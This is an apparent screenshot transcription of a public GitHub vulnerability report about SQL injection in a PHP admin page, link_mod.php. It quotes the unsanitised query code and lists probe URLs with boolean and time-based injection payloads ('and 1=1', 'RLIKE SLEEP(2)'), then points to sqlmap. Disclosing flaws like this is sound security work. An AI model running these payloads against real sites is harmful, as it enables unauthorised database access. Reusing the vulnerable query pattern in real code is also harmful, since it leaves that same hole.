```
☐ jsjbcyber / bug_report (Public)
                                                        <> Code
            Issues
                        ?? Pull requests
                                         Actions
                                                                     Security  Insights
  ٢º main ◄
bug_report / bug_k
     jsjbcyber Update bug_k
                                                                                         (1) History
  ৪১ 1 contributor
  32 lines (28 sloc) | 1.16 KB
    1
        Build environment with PHP5.
    2
    3
        affected source code file: /admin/link/link mod.php
    4
        _____
    5
        affected source code:
    6
    7
            . . . . .
    8
            <?php
                session_start();
               require '../session.php';
   10
               include '../../inc/const.php';
   11
   12
               include ("../../inc/editor/fckeditor.php");
               $id= getvar('id');
   13
   14
               $sqlstr=get_sql("select * from {pre}link where id=".$id);
               $list=$db->getonerow($sqlstr);
   15
            ?>
   16
   17
   18
   19
   20
   21
        affected reason:
              We can see the $id parameter has not been safely processed. So, the SQL injection can be ach
   22
   23
        ______
   24
        affected executable:
   25
          After Signing in to the background in advance. Then:
          Like this:
   26
   27
                    http://xx.xx.com/admin/link/link_mod.php?id=1'
                    http://xx.xx.com/admin/link/link_mod.php?id=1 and 1=1
   28
                    http://xx.xx.com/admin/link/link_mod.php?id=1 and 1=2
   29
```

30 http://xx.xx.com/admin/link/link_mod.php?id=1 RLIKE SLEEP(2)
31
32 Then, we can use tools like sqlmap for more information.